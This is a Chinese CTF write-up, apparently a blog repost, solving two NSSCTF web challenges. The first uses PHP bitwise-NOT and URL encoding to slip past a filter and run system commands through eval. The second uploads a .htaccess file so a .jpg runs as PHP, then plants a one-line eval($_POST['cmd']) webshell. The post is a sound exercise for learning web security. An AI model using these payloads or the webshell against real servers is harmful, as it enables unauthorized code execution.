当前位置: 首页 > news >正文

NSSCTF-Web题目4

[SWPUCTF 2021 新生赛]hardrce

1、题目

2、知识点

rce:远程代码执行、url取反编码

3、解题思路

打开题目

出现一段代码,审计源代码

题目需要我们通过get方式输入变量wllm的值

但是变量的值被过滤了,不能输入字母和\t、\n等值

所以我们需要绕过这些过滤

源代码有eval函数,说明存在rce(远程代码执行漏洞),我们可以构造系统执行命令获取服务器的数据

eval()

通过查看wp,我们可以对输入的内容,先取反,再进行url编码,然后再进行取反传给服务器端

这里为什么要进行取反呢?

因为取反后再编码的数据不会被识别为字母,且没有那些被过滤的字符

~ 就是取反符号

例如

我们可以先构造phpinfo()尝试是否可以实现

执行php代码我是在网上找了一个在线工具,url如下

PHP 在线工具 | 菜鸟工具 (jyshare.com)

编码

<?php
echo urlencode(~'phpinfo');
?>

将编码后的值再取反传给wllm

http://node5.anna.nssctf.cn:26911/?wllm=(~%8F%97%8F%96%91%99%90)();

结果正常执行,说明这种方式可以绕过。

接下来因为有eval函数,我们可以构造系统执行命令进行执行

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

php执行系统命令,需要使用好system这个函数

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

可以看到有flllllaaaaaaggggggg这个文件

使用cat命令

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

http://node5.anna.nssctf.cn:26911/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到flag NSSCTF{99f12d58-f315-4e8d-a69d-ba2572aaf510}


[SWPUCTF 2021 新生赛]easyupload3.0

1、题目

2、知识点

文件上传绕过,.htaccess文件的利用

3、解题思路

打开题目,是一道文件上传的题目,我们先上传一个文件,并抓包看看

是一个apache服务

尝试改后缀,发现绕过不了

这里使用了apache服务,可以采用.htaccess文件进行绕过

我们可以上传一个.htaccess文件,内容如下

<FilesMatch "abc.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段代码的作用是将abc.jpg文件当成php文件执行,abc.jpg是我们自己构造上传的,可以根据自己需要命令

将.htaccess文件上传后我们就上传abc.jpg文件,内容为一句话木马

<?php

@eval($_POST['cmd']);

?>

上传完成功后使用蚁剑进行连接

连接成功后可以看到服务器的文件,在html文件夹下可以看到flag.php文件,打开得到flag

NSSCTF{bf0e1c22-b359-4868-94bb-ccc79a7501bf}


这篇文章就先写到这里了,哪里不足的欢迎批评指正

相关文章:

  • Bentham Science药学全文期刊库文献在家轻松下载
  • Java开发-面试题-0001-String、StringBuilder、StringBuffer的区别
  • Gir clone 设置代理与错误
  • [每日一练]查询从不订购的客户(标量子查询)
  • 数据结构——二叉树的实现
  • opencv进阶 ——(七)图像处理之寸照换背景
  • 基于python flask的旅游数据大屏实现,有爬虫有数据库
  • 算法的时间与空间复杂度
  • 【C++面试100问】第八十五问:有了const,C++11为什么还要引入constexpr
  • 【busybox记录】【shell指令】readlink
  • Google发布的CAT3D,在1分钟内,能够从任意数量的真实或生成的图像创建3D场景。
  • 基于STM32+NBIOT(BC26)设计的物联网观赏鱼缸
  • 【前端每日基础】day27——小程序开发
  • 居间人从事光伏行业需要了解的关键因素
  • STM32实验之USART串口发送+接受数据(二进制/HEX/文本)
  • 2019.2.20 c++ 知识梳理
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • C学习-枚举(九)
  • Elasticsearch 参考指南(升级前重新索引)
  • Javascript弹出层-初探
  • JS创建对象模式及其对象原型链探究(一):Object模式
  • js数组之filter
  • node学习系列之简单文件上传
  • PAT A1050
  • Redis在Web项目中的应用与实践
  • spring学习第二天
  • text-decoration与color属性
  • ubuntu 下nginx安装 并支持https协议
  • uva 10370 Above Average
  • vuex 笔记整理
  • 关于springcloud Gateway中的限流
  • 聊聊sentinel的DegradeSlot
  • 前端技术周刊 2019-02-11 Serverless
  • 前嗅ForeSpider教程:创建模板
  • 微信支付JSAPI,实测!终极方案
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • 小李飞刀:SQL题目刷起来!
  • 学习ES6 变量的解构赋值
  • 教程:使用iPhone相机和openCV来完成3D重建(第一部分) ...
  • 选择阿里云数据库HBase版十大理由
  • ​io --- 处理流的核心工具​
  • $(this) 和 this 关键字在 jQuery 中有何不同?
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (2024,RWKV-5/6,RNN,矩阵值注意力状态,数据依赖线性插值,LoRA,多语言分词器)Eagle 和 Finch
  • (ZT)一个美国文科博士的YardLife
  • (非本人原创)我们工作到底是为了什么?​——HP大中华区总裁孙振耀退休感言(r4笔记第60天)...
  • (十六)Flask之蓝图
  • (微服务实战)预付卡平台支付交易系统卡充值业务流程设计
  • (五)IO流之ByteArrayInput/OutputStream
  • (学习日记)2024.04.10:UCOSIII第三十八节:事件实验
  • (一)80c52学习之旅-起始篇
  • (原)Matlab的svmtrain和svmclassify
  • (转)Android学习系列(31)--App自动化之使用Ant编译项目多渠道打包
  • (转)chrome浏览器收藏夹(书签)的导出与导入
  • (转)Google的Objective-C编码规范